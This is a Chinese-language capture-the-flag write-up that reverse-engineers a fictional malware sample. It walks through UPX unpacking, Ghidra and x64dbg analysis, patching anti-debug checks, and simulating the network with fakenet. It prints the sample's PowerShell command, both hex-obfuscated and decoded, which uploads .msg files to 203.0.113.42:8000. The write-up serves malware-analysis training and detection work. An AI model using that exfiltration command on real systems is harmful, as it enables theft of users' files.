进攻性安全挑战 2025 - Nullform Vault

· 14min · Juicecat
Table of Contents

虚形避难所

我们收到以下指示:

您的任务是对恢复的恶意软件样本进行深入的静态分析。您的使命:

  • 识别恶意软件的核心功能
  • 记录其反调试机制
  • 提取其命令与控制 (C2) 基础设施
  • 评估其持久性和传播潜力

开始

加载到 Flare VM index.md-1.png 我们看到它挤满了 upx 可以通过查看熵来验证 index.md-2.png 为了节省时间,我们简单地使用upx命令行来解压文件 index.md-3.png 我们可以通过查看熵和标题来验证成功- index.md-4.png

现在我们可以反汇编-加载到ghidra中 index.md-5.png 深入研究第一个函数,我们现在可以放心地忽略这个函数: index.md-6.png 我们以前见过这个结构。它只是初始化一个种子值。我们还不知道它的用途,但可能是某种加密功能。

下一个函数是真正程序的开始 - index.md-7.png 它有点长,所以我只在这里包含相关部分:

     plVar7 = (longlong *)FUN_140004b68();
     if ((*plVar7 != 0) && (uVar6 = FUN_14000491c((longlong)plVar7), (char)uVar6 != '\0')) {
      _register_thread_local_exe_atexit_callback(*plVar7);
     }
     uVar8 = _get_initial_narrow_environment();
     puVar9 = (undefined8 *)__p___argv();
     uVar4 = *puVar9;
     puVar10 = (uint *)__p___argc();
     uVar11 = (ulonglong)*puVar10;
     uVar6 = FUN_1400026d0(uVar11,uVar4,uVar8,in_R9);
     iVar3 = (int)uVar6;
     bVar2 = FUN_140004cd0();

重要的是,我们看到环境设置 - 设置大量变量,然后立即将它们传递给另一个函数(在本例中为FUN_1400026d0)。因为为这个函数创建变量付出了很多“努力”,所以我们可以假设它很重要。此外,这个调用接近入口函数的末尾,因此在调用这个函数之后,没有做太多其他事情。

为了便于记忆,我们将其重命名为interesting_function index.md-8.png

该函数明显较长,因此我们将逐步介绍它

第一部分包括一些 Windows API 版本检查: index.md-9.png 在这里,它对 FUN_140001540 的输出进行一些检查。本质上,它是确保当前计算机支持特定的 Windows API 版本。这是 FUN_140001540 的代码 - 它不是超级相关,但你会发现很容易看出它在做什么:

 local_128._0_4_ = 0x11c;
 local_128._12_4_ = 0;
 local_128._16_4_ = 0;
 memset(local_128 + 0x14,0,0x100);
 local_12 = 0;
 local_10._0_2_ = 0;
 local_10._2_1_ = '\0';
 local_10._3_1_ = '\0';
 uVar2 = VerSetConditionMask(0,2,3);
 uVar2 = VerSetConditionMask(uVar2,1,3);
 dwlConditionMask = VerSetConditionMask(uVar2,0x20,3);
 local_128._4_4_ = 6;
 local_128._8_4_ = 0;
 local_14 = 0;
 BVar1 = VerifyVersionInfoW((LPOSVERSIONINFOEXW)local_128,0x23,dwlConditionMask);
 return CONCAT71((int7)(CONCAT44(extraout_var,BVar1) >> 8),BVar1 != 0);

继续,我们看到一个检查,以检测调试器是否附加到当前进程,如果是,则立即退出。 index.md-11.png

在蓝色中我们看到了一些更有趣的东西

这有点有趣。让我们将调试器附加到恶意软件,并在检查之前设置一个断点,以查看调试器是否确实导致过早退出。

为此,我们执行与在窃取者阴影中所做的相同过程来解决 ASLR - index.md-12.png 我们获取要中断的指令的相对地址,在我们的例子中是1400026fa。因为 Ghidra 将地址基址设置为 0x140000000,所以我们可以计算出地址偏移量为 0x26fa

跳入 x64dbg,我们查看内存映射选项卡中的偏移值: index.md-13.png 在这种情况下,00007FF794A50000

我们可以在命令栏中做一些快速数学计算来计算断点地址 index.md-14.png index.md-15.png 我将转到此指令并设置断点 index.md-16.png 我们看到这一行的汇编是 test eax eax,它与我们在 Ghidra 中看到的一致 - 让我们运行该程序,直到遇到断点: index.md-17.png现在,我们在 IDA 中看到的下一行是 jne output.<address>- 这对应于检测到调试器时执行操作的程序。因此,我们可以逐个指令来看看它是如何发挥作用的。 index.md-18.png 令人惊讶的是,它通过了调试器当前的测试(在这种情况下,通过意味着跳跃)。您可以看到将执行 je 指令,因为有一条红线指向跳转位置。基本上,这意味着我们正在跳过 ExitProcess 子句。

但是,该恶意软件中有更多的故障保护 - 因此我们将对其余的故障保护执行相同的过程,看看它们是否被触发: index.md-20.png index.md-19.png

事实上,它通过了相当多的检查 - index.md-21.png 现在看起来它正在调用另一个函数。在我们进入这个函数之前,让我们进行与上次使用 RVA 相同的数学运算,看看这个新的 1540 函数在 ghidra 中是什么样子 index.md-22.png 好的 - 看起来良性,只是版本检查 - 让我们允许它们执行 index.md-23.png 现在我们处于另一个跳转语句,后面是函数调用。让我们看看会发生什么: index.md-24.png

它再次通过测试并再次调用相同的函数。我们在函数返回后设置断点。让我们看看如果我们让它再次执行版本检查函数,事情会如何进展。 index.md-25.png 什么也没发生——让我们看看这些条件如何检查并看看会发生什么。 index.md-26.png 看起来它最终通过了这两项检查,现在将调用一个函数(woohoo)。 index.md-27.png 在 Ghidra 中检查这个函数,我们发现它是一个退出函数(0x3840 包含 NOP RET)。

因此,它是 失败的 检查之一。更具体地说,当我们对其进行 通缉 跳转时,其中一项检查确实进行了 不是 跳转(跳转 = 不存在调试器,绕过退出)。

让我们重写这个调用指令: index.md-28.png 现在我们可以继续: index.md-29.png

接下来是循环逻辑: index.md-30.png 我们看到,一旦执行到达0x27e4,它就会有条件地跳回,执行操作,然后重做检查。在ghidra中,我们甚至不需要使用RVA来找到这个——它仍然在同一个函数中,而且结构非常明显: index.md-31.png 因为我们知道这是一个退出故障保护,所以我们可以NOP这个并转到下一行: index.md-32.png 设置一些值后,我们再次调用另一个函数。出于时间考虑,该函数仅采用上面设置的值(所有双字)并将它们重新排列以形成 IP 地址 index.md-33.png 所以这里我们已经过了 0x15e0 函数,我们看到 RSP 包含一个 IP 地址。这只是威胁行为者用来避免硬编码 IP 可字符串化的策略。 但是,0x17b0 函数现在正在被调用,所以大概会被使用——让我们看看它的用途。对于上下文,这就是我们在函数中的位置(很容易在汇编中迷失方向):

index.md-35.png

因此,我们将调用一个函数,并且根据返回的内容,它将退出。我会节省你的时间,只向你展示这个函数有趣的部分: index.md-36.png 在这里,我们看到一个 ICMP 套接字正在创建,并且可能使用我们之前看到的 IP 地址。让我们在第 134 行执行之前跳入调试器

index.md-38.png 现在我们已经到了这里,我们可以使用一个名为 fakenet 的工具来模拟互联网连接(我们的机器处于离线状态) index.md-39.png 基本上,这将模拟我们在线,因为有时恶意软件会在执行之前检查它是否在线。它将以垃圾响应所有请求,但重要的是它将是有效响应 index.md-40.png 重要的是,这也适用于 ICMP 请求: index.md-41.png 这些都会被记录下来,稍后可以使用wireshark查看 index.md-42.png

允许程序执行下一条指令后,我们可以查看日志,在这里我们看到 ping: index.md-43.png 事实上,它是针对我们看到的正在构建的 IP,并且包含一个小的有效负载(如果您回顾照片,您也可以看到它正在构建)。

现在我们有点陷入困境,所以让我们记住我们实际上在做什么。 我们就在反汇编的可执行文件中: index.md-44.png 我们刚刚执行了 FUN_1400017b0,这是 ICMP 消息。现在,程序将检查 echo 是否收到回复,如果没有,则退出。这验证了我们的想法,即在继续之前确保其在线。欺骗网络后,我们成功到达调用 FUN_140001010 的行 - 让我们在那里设置一个断点并检查堆栈。

index.md-45.png 请注意左下方的窗口(堆内存):我们得到了恶意 powershell 命令的 ascii 文本,乍一看,该命令似乎将文件渗透到编码的 IP 服务器。实际上,我们也可以在 powershell 脚本中看到这一点(来自调试过程中之前的恶意软件执行情况): index.md-46.png

这里的IP是经过编码的,所以让我们解码它并重建命令: index.md-47.png

powershell -Command $abc = [System.Text.Encoding]::UTF8.GetString([byte[]](0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x32,0x30,0x33,0x2E,0x30,0x2E,0x31,0x31,0x33,0x2E,0x34,0x32,0x3A,0x38,0x30,0x30,0x30,0x2F)) + 'da.msg'; Invoke-RestMethod -Uri $abc -Method Put -InFile 'C:\\Program Files\Git\mingw64\lib\tcl8.6\msgs\da.msg'

Decoded ->

Invoke-RestMethod -Uri http://203.0.113.42:8000/da_msg -Method Put -InFile 'C:\\Program Files\Git\mingw64\lib\tcl8.6\msgs\da.msg'

所以确实,这是一个渗透命令——这是有道理的。如果我们想要更具体一点,我们可以查看内存的不同部分,其中显示它将尝试泄露的文件扩展名: index.md-48.png 这是在反汇编的这个区域设置的: index.md-49.png

我们可以通过 fakenet 日志看到这些实时发出的 http 请求: index.md-50.png 然而,由于 fakenet 中的一个(非常烦人的)缺陷,它设置的 HTTP 监听器无法处理 HTTP PUT 请求,因此所有请求都会返回不支持的协议异常。无论如何,请求都会被记录下来,我们可以查看它。正如我们所怀疑的那样 - 只是泄露随机 .msg 文件,将其seem to be related发送到 Microsoft Outlook。

当然,我们希望它能够搜索内存中的其他扩展(pdf、doc 等)并窃取这些扩展。为了我们的目的,我们可以到此为止。我们发现:

  1. 恶意软件是如何被混淆的
  2. 恶意软件如何搜索文件
  3. 如何检查是否正在调试
  4. 如何确保可以与 C2 服务器通信
  5. 查找哪些文件
  6. 它如何泄露文件

因此,我们拥有创建强大规则集所需的所有 IoC,以检测和阻止此虚构场景中的任何活动